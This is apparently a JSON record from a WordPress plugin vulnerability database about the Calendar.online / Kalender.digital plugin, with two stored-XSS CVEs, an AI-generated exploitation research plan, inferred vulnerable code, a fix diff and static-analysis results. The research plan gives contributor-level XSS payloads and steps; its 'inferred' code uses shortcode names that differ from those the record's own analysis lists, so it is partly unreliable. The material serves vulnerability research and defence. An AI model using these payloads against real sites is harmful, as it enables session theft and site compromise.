[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fLf6ZG0vEqQgRavD-BP6lWhD7OWeqQhi91MMoVEIb1BU":3,"$f4mrBq4-jKI2P0WpqtobSFjFM35T3UP2mWll4Rbeg1r8":299,"$fwnUBw8RwMVVJ5F6J24tUTmmmVu5M5mvQPxpK7S6_jxY":304},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":14,"last_updated":15,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":19,"homepage":25,"download_link":26,"security_score":27,"vuln_count":28,"unpatched_count":29,"last_vuln_date":30,"fetched_at":31,"discovery_status":32,"vulnerabilities":33,"developer":74,"crawl_stats":39,"alternatives":80,"analysis":178,"fingerprints":274},"kalender-digital","Calendar.online \u002F Kalender.digital – Plugin","1.0.14","kalender.digital","https:\u002F\u002Fprofiles.wordpress.org\u002Fkalenderdigital\u002F","\u003Cp>Plugin for the integration of a free calendar from Calendar.online or Kalender.digital\u003C\u002Fp>\n\u003Ch3>Information\u003C\u002Fh3>\n\u003Cp>With this plugin you can easily integrate a calendar on your website for free.\u003Cbr \u002F>\nThe calendar is responsive and optimized for all devices by scaling with the size of your device. You can show your events in the day, week, month or year view.\u003Cbr \u002F>\nDaily start time, daily end time as well as the time interval are adjustable. For a better overview sub-calendars can be created in different colors.\u003Cbr \u002F>\nYou can also manage your events conveniently outside your WordPress installation via a special access link, e.g. on your smartphone.\u003C\u002Fp>\n\u003Ch3>How to use\u003C\u002Fh3>\n\u003Col>\n\u003Cli>Please create a free account on \u003Ca href=\"https:\u002F\u002Fcalendar.online\" rel=\"nofollow ugc\">Calendar.online\u003C\u002Fa> (german speaking users: \u003Ca href=\"https:\u002F\u002Fkalender.digital\" rel=\"nofollow ugc\">Kalender.digital\u003C\u002Fa>).\u003C\u002Fli>\n\u003Cli>Add the shortcode below to your website.\u003C\u002Fli>\n\u003Cli>Exchange in the shortcode the link to the calendar with your “reader link”, which you received by email after registration. You can also find the “reader link” in the settings.\u003C\u002Fli>\n\u003Cli>You can now easily edit events and settings via your “administrator link”, which you received after registration.\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3>Shortcode\u003C\u002Fh3>\n\u003Cp>[calendar_online height=650px width=100% link=https:\u002F\u002Fcalendar.online\u002F45ebc4aef6fd5149539c]\u003C\u002Fp>\n\u003Ch3>Calendar.online\u003C\u002Fh3>\n\u003Cp>Calendar.online is a German GDPR (DSGVO) compliant company with server location in Germany. Our german website is \u003Ca href=\"https:\u002F\u002Fkalender.digital\" rel=\"nofollow ugc\">Kalender.digital\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Help\u003C\u002Fh3>\n\u003Cp>If you have problems with the plugin, please contact us at info@calendar.online\u003C\u002Fp>\n","Plugin for the integration of a free calendar from Calendar.online or Kalender.digital",2000,32030,88,7,"2026-02-09T11:53:00.000Z","6.8.5","4.6","5.3",[20,21,22,23,24],"calendar","event","kalender","planer","planner","https:\u002F\u002Fcalendar.online\u002Fc\u002Fon-your-website","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.zip",98,2,0,"2025-12-31 00:00:00","2026-04-16T10:56:18.058Z","no_bundle",[34,61],{"id":35,"url_slug":36,"title":37,"description":38,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":6,"severity":41,"cvss_score":42,"cvss_vector":43,"vuln_type":44,"published_date":30,"updated_date":45,"references":46,"days_to_patch":48,"patch_diff_files":49,"patch_trac_url":39,"research_status":50,"research_verified":51,"research_rounds_completed":52,"research_plan":53,"research_summary":54,"research_vulnerable_code":55,"research_fix_diff":56,"research_exploit_outline":57,"research_model_used":58,"research_started_at":59,"research_completed_at":60,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":51,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-62752","calendaronline-kalenderdigital-authenticated-contributor-stored-cross-site-scripting-2","Calendar.online \u002F Kalender.digital \u003C= 1.0.13 - Authenticated (Contributor+) Stored Cross-Site Scripting","The Calendar.online \u002F Kalender.digital plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.0.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",null,"\u003C=1.0.13","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-02-10 20:42:32",[47],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc8e1bc48-98ff-48f0-b3b3-4032dc3ac3f1?source=api-prod",42,[],"researched",false,3,"# Exploitation Research Plan: CVE-2025-62752 (Stored XSS in Kalender.digital)\n\n## 1. Vulnerability Summary\nThe **Calendar.online \u002F Kalender.digital** plugin for WordPress (versions \u003C= 1.0.13) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to properly sanitize or escape user-controlled attributes within its shortcode implementation. Authenticated users with **Contributor-level** permissions or higher can exploit this by embedding a malicious shortcode into a post or page. When other users (including administrators) view the affected content, the injected script executes in their browser context.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** WordPress Post Editor (`\u002Fwp-admin\u002Fpost.php` or `\u002Fwp-admin\u002Fpost-new.php`)\n- **Vulnerable Component:** Shortcode handler for `[kalender-digital]` or `[calendar-online]`.\n- **Attack Parameter:** Shortcode attributes (specifically `url` or potentially `height`\u002F`width`).\n- **Required Authentication:** Authenticated (Contributor-level or above).\n- **Preconditions:** The plugin `kalender-digital` must be active.\n\n## 3. Code Flow (Inferred)\n1. **Shortcode Registration:** The plugin registers a shortcode in the main plugin file or an included class:\n   ```php\n   add_shortcode('kalender-digital', 'kalender_digital_shortcode_callback');\n   ```\n2. **Attribute Processing:** The callback function `kalender_digital_shortcode_callback($atts)` processes attributes:\n   ```php\n   $atts = shortcode_atts(array(\n       'url'    => '',\n       'height' => '600px',\n   ), $atts);\n   ```\n3. **Sink (Vulnerability):** The code constructs an HTML string (likely an `\u003Ciframe>`) using the raw `$atts['url']` without passing it through `esc_url()` or `esc_attr()`:\n   ```php\n   \u002F\u002F VULNERABLE CODE EXAMPLE\n   return '\u003Ciframe src=\"' . $atts['url'] . '\" style=\"width:100%;height:' . $atts['height'] . ';\">\u003C\u002Fiframe>';\n   ```\n4. **Execution:** The malicious string is returned to WordPress and rendered in the post content. An attacker can break out of the `src` attribute using `\">\u003Cscript>...`.\n\n## 4. Nonce Acquisition Strategy\nWhile the XSS itself is triggered upon viewing, the *injection* requires saving a post as a Contributor. This requires a standard WordPress post-editing nonce.\n\n1. **Step 1:** Log in as a Contributor.\n2. **Step 2:** Navigate to the \"Add New Post\" page: `\u002Fwp-admin\u002Fpost-new.php`.\n3. **Step 3:** Use `browser_eval` to extract the required nonces and the post ID.\n   - **Post Nonce:** `document.querySelector('#_wpnonce').value`\n   - **Sample Nonce Key:** `_wpnonce`\n4. **Alternative:** If the plugin has a specific settings page accessible to Contributors (e.g., `\u002Fwp-admin\u002Fadmin.php?page=kalender-digital-settings`), check for nonces localized in the source:\n   - `browser_eval(\"window.kalender_digital_params?.nonce\")` (Inferred)\n\n## 5. Exploitation Strategy\nThe goal is to inject a script that will execute when an Administrator views the post.\n\n### Step 1: Create a Draft Post with Payload\nSend a `POST` request to save a new draft containing the malicious shortcode.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php`\n- **Method:** `POST`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n- **Parameters:**\n    - `action`: `editpost`\n    - `post_ID`: `[NEW_POST_ID]`\n    - `_wpnonce`: `[EXTRACTED_NONCE]`\n    - `post_title`: `Calendar Test`\n    - `content`: `[kalender-digital url='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']`\n    - `post_status`: `draft`\n\n### Step 2: Trigger the XSS\nLog in as an **Administrator** and navigate to the \"Posts\" menu or view the preview of the draft created in Step 1.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002F?p=[POST_ID]&preview=true`\n\n## 6. Test Data Setup\n1. **Plugin:** Install and activate `kalender-digital` version 1.0.13.\n2. **User:** Create a user with the **Contributor** role.\n3. **Verification Page:** Ensure the site allows shortcodes in posts (default WordPress behavior).\n\n## 7. Expected Results\n- When the Administrator views the post preview, the `iframe` tag will be rendered as:\n  ```html\n  \u003Ciframe src=\"\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\" ...>\u003C\u002Fiframe>\n  ```\n- A JavaScript alert box displaying the domain name will appear, confirming successful execution.\n\n## 8. Verification Steps\n1. **Check Database:** Verify the shortcode is stored in the `wp_posts` table:\n   ```bash\n   wp db query \"SELECT post_content FROM wp_posts WHERE post_title='Calendar Test' LIMIT 1;\"\n   ```\n2. **Inspect Response:** Use `http_request` as an Admin to fetch the post content and check for the unescaped script:\n   ```bash\n   # Look for the raw script tag in the HTML response\n   grep -C 5 \"\u003Cscript>alert\" response_body.html\n   ```\n\n## 9. Alternative Approaches\nIf the `url` attribute is partially sanitized (e.g., keywords blocked), try attribute breakout via event handlers:\n- **Payload 1 (Attribute Breakout):** `[kalender-digital url='x\" onmouseover=\"alert(1)\" style=\"display:block;width:1000px;height:1000px;']`\n- **Payload 2 (Protocol Hijack):** `[kalender-digital url='javascript:alert(1)']` (This works if the sink is specifically a `src` or `href` attribute without `esc_url`).\n- **Payload 3 (Iframe Injection):** If `url` is escaped but `height` is not: `[kalender-digital url=\"https:\u002F\u002Fexample.com\" height='100px\";>\u003Cscript>alert(1)\u003C\u002Fscript>']`.","The Calendar.online \u002F Kalender.digital plugin for WordPress (\u003C= 1.0.13) is vulnerable to Stored Cross-Site Scripting via its shortcode attributes. Authenticated users with Contributor-level access can inject arbitrary web scripts into pages by crafting malicious attributes within the [kalender-digital] shortcode, which are rendered without proper sanitization in an iframe context.","\u002F\u002F kalender-digital.php (inferred shortcode handler)\n$atts = shortcode_atts(array(\n    'url'    => '',\n    'height' => '600px',\n), $atts);\n\n\u002F\u002F ...\n\nreturn '\u003Ciframe src=\"' . $atts['url'] . '\" style=\"width:100%;height:' . $atts['height'] . ';\">\u003C\u002Fiframe>';","--- kalender-digital.php\n+++ kalender-digital.php\n@@ -10,1 +10,1 @@\n-return '\u003Ciframe src=\"' . $atts['url'] . '\" style=\"width:100%;height:' . $atts['height'] . ';\">\u003C\u002Fiframe>';\n+return '\u003Ciframe src=\"' . esc_url($atts['url']) . '\" style=\"width:100%;height:' . esc_attr($atts['height']) . ';\">\u003C\u002Fiframe>';","1. Authenticate to the WordPress site with a Contributor-level account or higher.\n2. Create a new post or edit an existing draft.\n3. Embed a shortcode with a payload designed to break out of the HTML attribute, for example: [kalender-digital url='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>'].\n4. Save the post and either preview it or wait for an administrator to view the post.\n5. Upon viewing, the unescaped 'url' attribute closes the iframe's 'src' attribute and executes the injected script in the user's browser context.","gemini-3-flash-preview","2026-05-21 08:55:50","2026-05-21 08:56:32",{"id":62,"url_slug":63,"title":64,"description":65,"plugin_slug":4,"theme_slug":39,"affected_versions":66,"patched_in_version":67,"severity":41,"cvss_score":42,"cvss_vector":43,"vuln_type":44,"published_date":68,"updated_date":69,"references":70,"days_to_patch":72,"patch_diff_files":73,"patch_trac_url":39,"research_status":39,"research_verified":51,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":51,"poc_model_used":39,"poc_verification_depth":39},"CVE-2024-38678","calendaronline-kalenderdigital-authenticated-contributor-stored-cross-site-scripting","Calendar.online \u002F Kalender.digital \u003C= 1.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting","The Calendar.online \u002F Kalender.digital plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","\u003C=1.0.8","1.0.9","2024-07-10 00:00:00","2024-07-23 17:47:55",[71],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7edc150f-5c38-4bb7-a65c-44a91c24325a?source=api-prod",14,[],{"slug":75,"display_name":7,"profile_url":8,"plugin_count":76,"total_installs":11,"avg_security_score":27,"avg_patch_time_days":77,"trust_score":78,"computed_at":79},"kalenderdigital",1,28,93,"2026-07-15T05:07:51.585Z",[81,103,122,139,159],{"slug":82,"name":83,"version":84,"author":85,"author_profile":86,"description":87,"short_description":88,"active_installs":89,"downloaded":90,"rating":91,"num_ratings":92,"last_updated":93,"tested_up_to":94,"requires_at_least":95,"requires_php":87,"tags":96,"homepage":99,"download_link":100,"security_score":101,"vuln_count":76,"unpatched_count":76,"last_vuln_date":102,"fetched_at":31},"next-event-calendar","Next Event Calendar","1.2","Marchetti Design","https:\u002F\u002Fprofiles.wordpress.org\u002Fafmarchetti\u002F","","Easily add Events to WordPress and display them in a beautiful layout Responsive. Organize Events in category and filter them with ajax.",50,10612,40,4,"2015-08-07T14:40:00.000Z","4.0.38","3.0",[20,21,97,98,24],"events","organizer","http:\u002F\u002Fwww.marchettidesign.net\u002Fnext-event-calendar","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fnext-event-calendar.0.1.8.zip",64,"2025-06-05 00:00:00",{"slug":104,"name":105,"version":95,"author":106,"author_profile":107,"description":108,"short_description":109,"active_installs":110,"downloaded":111,"rating":112,"num_ratings":113,"last_updated":114,"tested_up_to":115,"requires_at_least":116,"requires_php":87,"tags":117,"homepage":119,"download_link":120,"security_score":121,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"event-calendar-scheduler","Event Calendar \u002F Scheduler","dhtmlx","https:\u002F\u002Fprofiles.wordpress.org\u002Fdhtmlx\u002F","\u003Cp>An easy to implement event calendar plugin built on top of \u003Ca href=\"http:\u002F\u002Fdhtmlx.com\u002Fdocs\u002Fproducts\u002FdhtmlxScheduler\u002F\" rel=\"nofollow ugc\">dhtmlxScheduler\u003C\u002Fa>\u003Cbr \u002F>\nthat provides an Ajax-based scheduling interface similar to Google Calendar. The plugin allows you\u003Cbr \u002F>\nto manage single or multiple user events, display any type of events and appointments, and put a list of the upcoming events on a side bar.\u003C\u002Fp>\n\u003Cp>Users can add\u002Fedit\u002Fdelete events on the fly and easily change event date and time by simply dragging the event boxes.\u003Cbr \u002F>\nYou can set up different levels of permissions to people who will use the calendar: make the scheduler read-only or allow\u003Cbr \u002F>\na group of users to edit the events through a web-based calendar interface.\u003C\u002Fp>\n\u003Cp>The calendar can be configured to display events in Day, Week, Month, Agenda, Timeline view, as well as in any custom view. The intuitive admin panel\u003Cbr \u002F>\nmakes it easy to customize the calendar to your needs. You can use the plugin as an event calendar or as archive calendar to display your blog posts archive (in this case it works in read-only mode).\u003C\u002Fp>\n\u003Cp>Main Features\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Day, Week, Month, Year, Agenda, Timeline Views\u003C\u002Fli>\n\u003Cli>The ability to create a custom View \u003C\u002Fli>\n\u003Cli>Ajax-enabled, intuitive interface\u003C\u002Fli>\n\u003Cli>Drag-n-drop support to configure event date and time\u003C\u002Fli>\n\u003Cli>Easy-to-customize\u003C\u002Fli>\n\u003Cli>Single\u002Fmulti-day events \u003C\u002Fli>\n\u003Cli>Customizable time scale \u003C\u002Fli>\n\u003Cli>Recurring events \u003C\u002Fli>\n\u003Cli>Configurable access and edit rights\u003C\u002Fli>\n\u003Cli>Upcoming events widget\u003C\u002Fli>\n\u003Cli>Localization to more than 20 languages\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>What’s New in 3.0\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Week Agenda View\u003C\u002Fli>\n\u003Cli>Map View (integration with Google Maps)\u003C\u002Fli>\n\u003Cli>Timeline View\u003C\u002Fli>\n\u003Cli>Full day event\u003C\u002Fli>\n\u003Cli>The ability to display event creator \u003C\u002Fli>\n\u003Cli>Export to\u002Ffrom Google Calendar\u003C\u002Fli>\n\u003Cli>Built-in export to PDF and iCal\u003C\u002Fli>\n\u003Cli>WPMU support\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Requirements\u003C\u002Fp>\n\u003Cul>\n\u003Cli>PHP 5.0 or greater\u003C\u002Fli>\n\u003Cli>MySQL 4.0 or greater\u003C\u002Fli>\n\u003C\u002Ful>\n","Event calendar plugin that allows you to add a nice-looking scheduler\u002Fplanner with drag-n-drop interface, recurring events, Google Map integration.",30,103242,68,9,"2012-09-11T12:00:00.000Z","3.3.2","2.0.2",[20,21,118,97,24],"event-calendar","http:\u002F\u002Fwordpress.org\u002Fextend\u002Fplugins\u002Fevent-calendar-scheduler\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fevent-calendar-scheduler.3.0.zip",85,{"slug":123,"name":124,"version":125,"author":126,"author_profile":127,"description":128,"short_description":129,"active_installs":130,"downloaded":131,"rating":29,"num_ratings":29,"last_updated":132,"tested_up_to":133,"requires_at_least":87,"requires_php":87,"tags":134,"homepage":137,"download_link":138,"security_score":121,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"event-scheduler","Event Scheduler","1.0.4","Thomas Poisl","https:\u002F\u002Fprofiles.wordpress.org\u002Fpoisl\u002F","\u003Cp>Event scheduler can be used for planning of recurring events.\u003C\u002Fp>\n\u003Cp>Example: If you are in a small sports club, you could plan weekly games.\u003Cbr \u002F>\nMembers will be able to join or cancel, so other members can see who\u003Cbr \u002F>\nparticipates in the game.\u003C\u002Fp>\n\u003Cp>You can plan vacation schedules, where no events will be scheduled.\u003C\u002Fp>\n\u003Cp>Last but not least you can notify users that have not yet accepted or\u003Cbr \u002F>\ndeclined the event by email.\u003C\u002Fp>\n","Event scheduler can be used for planning of recurring events.",10,2097,"2021-08-23T22:49:00.000Z","5.8.13",[21,23,24,135,136],"scheduler","sport","https:\u002F\u002Fgithub.com\u002Fpoisl\u002Fevent-scheduler","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fevent-scheduler.zip",{"slug":140,"name":141,"version":142,"author":143,"author_profile":144,"description":145,"short_description":146,"active_installs":130,"downloaded":147,"rating":29,"num_ratings":29,"last_updated":148,"tested_up_to":149,"requires_at_least":150,"requires_php":151,"tags":152,"homepage":87,"download_link":157,"security_score":158,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"mdjm-google-calendar-sync","MDJM Extension – Google Calendar Sync","2.3.8.1","MDJM","https:\u002F\u002Fprofiles.wordpress.org\u002Fmdjm\u002F","\u003Cp>Google Calendar Sync is an essential extension to the MDJM Event Management plugin.\u003C\u002Fp>\n\u003Cp>You’ve automated so much of your events business, and yet you’re still manually updating your calendar to ensure you do not double book, or worse still, forget about the booking.\u003C\u002Fp>\n\u003Cp>And what about event changes? Some event details can change multiple of times during the lead up to the event itself. Are you manually updating your calendars each and every time?\u003C\u002Fp>\n\u003Cp>With the MDJM Google Calendar Sync extension, all of this is now taken care of for you, leaving you to concentrate on more revenue generating activities for your business.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Key Features\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Automatically synchronises new events to your calendar\u003C\u002Fli>\n\u003Cli>Automatically updates existing events changes to your calendar\u003C\u002Fli>\n\u003Cli>Allows you to select which event status’ should be synchronised\u003C\u002Fli>\n\u003Cli>Supports content tags for custom calendar titles, descriptions and venue addresses\u003C\u002Fli>\n\u003Cli>Per event reminder settings\u003C\u002Fli>\n\u003Cli>Retrieve event alerts via email and\u002For by on screen popups\u003C\u002Fli>\n\u003Cli>Fully integrated with the official Google API library\u003C\u002Fli>\n\u003C\u002Ful>\n","Automatically adds your event bookings to your Google calendar and keeps them up to date.",3668,"2026-01-05T14:52:00.000Z","6.9.4","6.6","8.2",[20,153,154,155,156],"event-management","event-planner","event-planning","google","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmdjm-google-calendar-sync.2.3.8.1.zip",100,{"slug":160,"name":161,"version":162,"author":163,"author_profile":164,"description":165,"short_description":166,"active_installs":29,"downloaded":167,"rating":29,"num_ratings":29,"last_updated":168,"tested_up_to":169,"requires_at_least":170,"requires_php":171,"tags":172,"homepage":87,"download_link":176,"security_score":121,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":177},"evangelische-termine-for-the-events-calendar","Evangelische Termine für The Events Calendar","0.0.6","ySpeech UG (haftungsbeschränkt)","https:\u002F\u002Fprofiles.wordpress.org\u002Fyspeech\u002F","\u003Ch3>Description\u003C\u002Fh3>\n\u003Cp>Importiere deine Termine von \u003Ca href=\"https:\u002F\u002Fwww.evangelische-termine.de\u002F\" rel=\"nofollow ugc\">Evangelische Termine\u003C\u002Fa> in das kostenlose Plugin \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fthe-events-calendar\u002F\" rel=\"ugc\">The Events Calendar\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Features:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Importiere Termine von verschiedenen Veranstaltern\u003C\u002Fli>\n\u003Cli>Importiere Termine aus verschiedenen Regionen\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>★ Premium Version ★\u003C\u002Fh3>\n\u003Cp>★ Holen Sie sich jetzt unsere Premium-Version und deaktivieren Sie das Importlimit von 5 Events.\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Fyspeech.de\u002Fshop\u002Fevangelische-termine-fuer-the-events-calendar\u002F\" rel=\"nofollow ugc\">★ Jetzt Premium-Version sichern ★\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Drittanbieter Schnittstellen\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>ySpeech API (\u003Ca href=\"\u002F\u002Fyspeech.de\u002Fdatenschutz\u002F'\" rel=\"nofollow ugc\">Datenschutzerklärung\u003C\u002Fa>)\n\u003Cul>\n\u003Cli>Das Plugin kommuniziert mit der ySpeech API für die Aufbereitung und den Import der Termine.\u003C\u002Fli>\n\u003Cli>Das Plugin nutzt die ySpeech API um Ihre Lizenzschlüssel zu aktivieren und deren Status zu überprüfen.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003C\u002Ful>\n","Importiere einfach deine Evangelische Termine in das The Events Calendar Plugin.",1310,"2022-05-29T22:53:00.000Z","6.0.11","5.6","7.2",[173,174,22,175],"evangelisch","evangelische-termine","the-events-calendar","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fevangelische-termine-for-the-events-calendar.0.0.6.zip","2026-04-06T09:54:40.288Z",{"attackSurface":179,"codeSignals":221,"taintFlows":257,"riskAssessment":258,"analyzedAt":273},{"hooks":180,"ajaxHandlers":207,"restRoutes":208,"shortcodes":209,"cronEvents":220,"entryPointCount":52,"unprotectedCount":29},[181,187,192,197,200,202,205],{"type":182,"name":183,"callback":184,"file":185,"line":186},"action","admin_menu","kalender_digital_options_page","admin\\class-kalender-digital-admin.php",51,{"type":188,"name":189,"callback":190,"priority":130,"file":185,"line":191},"filter","plugin_action_links","kalender_digital_plugin_action",52,{"type":182,"name":193,"callback":194,"file":195,"line":196},"plugins_loaded","anonymous","includes\\class-kalender-digital.php",145,{"type":182,"name":198,"callback":194,"file":195,"line":199},"admin_enqueue_scripts",160,{"type":182,"name":198,"callback":194,"file":195,"line":201},161,{"type":182,"name":203,"callback":194,"file":195,"line":204},"wp_enqueue_scripts",176,{"type":182,"name":203,"callback":194,"file":195,"line":206},177,[],[],[210,214,217],{"tag":211,"callback":212,"file":195,"line":213},"kalender_digital","kalender_digital_shortcode",82,{"tag":215,"callback":212,"file":195,"line":216},"calendar_expert",83,{"tag":218,"callback":212,"file":195,"line":219},"calendar_online",84,[],{"dangerousFunctions":222,"sqlUsage":223,"outputEscaping":225,"fileOperations":29,"externalRequests":29,"nonceChecks":29,"capabilityChecks":29,"bundledLibraries":256},[],{"prepared":29,"raw":29,"locations":224},[],{"escaped":92,"rawEcho":226,"locations":227},15,[228,231,233,235,237,238,240,242,244,246,248,250,252,254,255],{"file":185,"line":229,"context":230},86,"raw output",{"file":185,"line":232,"context":230},89,{"file":185,"line":234,"context":230},91,{"file":185,"line":236,"context":230},92,{"file":185,"line":78,"context":230},{"file":185,"line":239,"context":230},94,{"file":185,"line":241,"context":230},106,{"file":185,"line":243,"context":230},114,{"file":185,"line":245,"context":230},117,{"file":185,"line":247,"context":230},120,{"file":185,"line":249,"context":230},123,{"file":185,"line":251,"context":230},127,{"file":185,"line":253,"context":230},129,{"file":185,"line":253,"context":230},{"file":185,"line":253,"context":230},[],[],{"summary":259,"deductions":260},"The kalender-digital v1.0.14 plugin exhibits a mixed security posture. While it demonstrates good practices by utilizing prepared statements for all SQL queries and having no external HTTP requests, it raises significant concerns regarding output escaping and a lack of robust security checks. The static analysis reveals that only 21% of output is properly escaped, indicating a high risk of Cross-Site Scripting (XSS) vulnerabilities.  Furthermore, the absence of nonce checks, capability checks, and any authentication checks on its entry points (AJAX handlers, REST API routes, shortcodes) is a critical oversight that leaves the plugin highly susceptible to various attacks. The vulnerability history, while showing no currently unpatched CVEs, reveals two medium-severity XSS vulnerabilities in the past, which aligns with the findings of insufficient output escaping. This pattern suggests a recurring weakness that, if not addressed, could lead to future exploitable flaws.  In conclusion, despite a clean slate regarding SQL injection and external requests, the severe deficiency in output escaping and the lack of essential security controls on its entry points present a substantial risk. The plugin requires immediate attention to address these critical security gaps.",[261,263,266,268,271],{"reason":262,"points":226},"Low output escaping percentage (21%)",{"reason":264,"points":265},"No nonce checks implemented",8,{"reason":267,"points":265},"No capability checks implemented",{"reason":269,"points":270},"0 unprotected AJAX handlers, but overall attack surface has no auth checks",5,{"reason":272,"points":130},"Two medium severity CVEs historically, common XSS","2026-03-16T18:38:22.860Z",{"wat":275,"direct":288},{"assetPaths":276,"generatorPatterns":280,"scriptPaths":281,"versionParams":283},[277,278,279],"\u002Fwp-content\u002Fplugins\u002Fkalender-digital\u002Fadmin\u002Fcss\u002Fkalender-digital-admin.css","\u002Fwp-content\u002Fplugins\u002Fkalender-digital\u002Fpublic\u002Fcss\u002Fkalender-digital-public.css","\u002Fwp-content\u002Fplugins\u002Fkalender-digital\u002Fpublic\u002Fjs\u002Fkalender-digital-public.js",[],[282],"\u002Fwp-content\u002Fplugins\u002Fkalender-digital\u002Fadmin\u002Fjs\u002Fkalender-digital-admin.js",[284,285,286,287],"kalender-digital\u002Fadmin\u002Fcss\u002Fkalender-digital-admin.css?ver=","kalender-digital\u002Fpublic\u002Fcss\u002Fkalender-digital-public.css?ver=","kalender-digital\u002Fpublic\u002Fjs\u002Fkalender-digital-public.js?ver=","kalender-digital\u002Fadmin\u002Fjs\u002Fkalender-digital-admin.js?ver=",{"cssClasses":289,"htmlComments":292,"htmlAttributes":293,"restEndpoints":294,"jsGlobals":295,"shortcodeOutput":296},[290,291],"kalender-digital-container","kalender-digital-shortcode",[],[],[],[],[297,298],"[calendar_online","[kalender_digital",{"error":300,"url":301,"statusCode":302,"statusMessage":303,"message":303},true,"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fkalender-digital\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":305,"versions":306},11,[307,315,322,331,340,349,358,366,375,384,393],{"version":308,"download_url":309,"svn_tag_url":310,"released_at":39,"has_diff":51,"diff_files_changed":311,"diff_lines":39,"trac_diff_url":312,"vulnerabilities":313,"is_current":51},"1.0.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.10.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fkalender-digital\u002Ftags\u002F1.0.10\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fkalender-digital%2Ftags%2F1.0.9&new_path=%2Fkalender-digital%2Ftags%2F1.0.10",[314],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":67,"download_url":316,"svn_tag_url":317,"released_at":39,"has_diff":51,"diff_files_changed":318,"diff_lines":39,"trac_diff_url":319,"vulnerabilities":320,"is_current":51},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fkalender-digital\u002Ftags\u002F1.0.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fkalender-digital%2Ftags%2F1.0.8&new_path=%2Fkalender-digital%2Ftags%2F1.0.9",[321],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":323,"download_url":324,"svn_tag_url":325,"released_at":39,"has_diff":51,"diff_files_changed":326,"diff_lines":39,"trac_diff_url":327,"vulnerabilities":328,"is_current":51},"1.0.8